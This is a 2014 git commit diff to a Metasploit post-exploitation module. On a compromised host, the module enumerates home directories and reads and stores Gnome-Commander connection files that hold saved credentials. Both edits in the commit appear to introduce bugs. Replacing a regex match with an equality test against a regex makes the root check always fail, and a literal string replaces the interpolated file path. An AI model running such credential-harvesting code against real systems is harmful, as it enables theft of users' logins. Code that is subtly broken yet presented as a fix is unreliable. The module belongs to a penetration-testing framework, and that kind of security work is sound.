Update gnome_commander_creds.rb

bug/bundler_fix
David Bloom 2014-07-24 23:16:10 +02:00
parent 9aa1b86d8f
commit 2e5c2a514b
1 changed files with 2 additions and 2 deletions

View File

@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post
def run
user_dirs = []
user = cmd_exec("whoami").chomp
if (user =~ /root/)
if (user == /root/)
print_status("Current user is #{user}, probing all home dirs")
user_dirs << '/root'
cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post
begin
print_good("File found : #{connections_file}")
print_line(read_file(connections_file))
p = store_loot("connections", "text/plain", session, read_file(connections_file), "#{connections_file}", "Gnome-Commander connections")
p = store_loot("connections", "text/plain", session, read_file(connections_file), "connections_file", "Gnome-Commander connections")
print_good ("Connections file saved to #{p}")
print_line()
rescue EOFError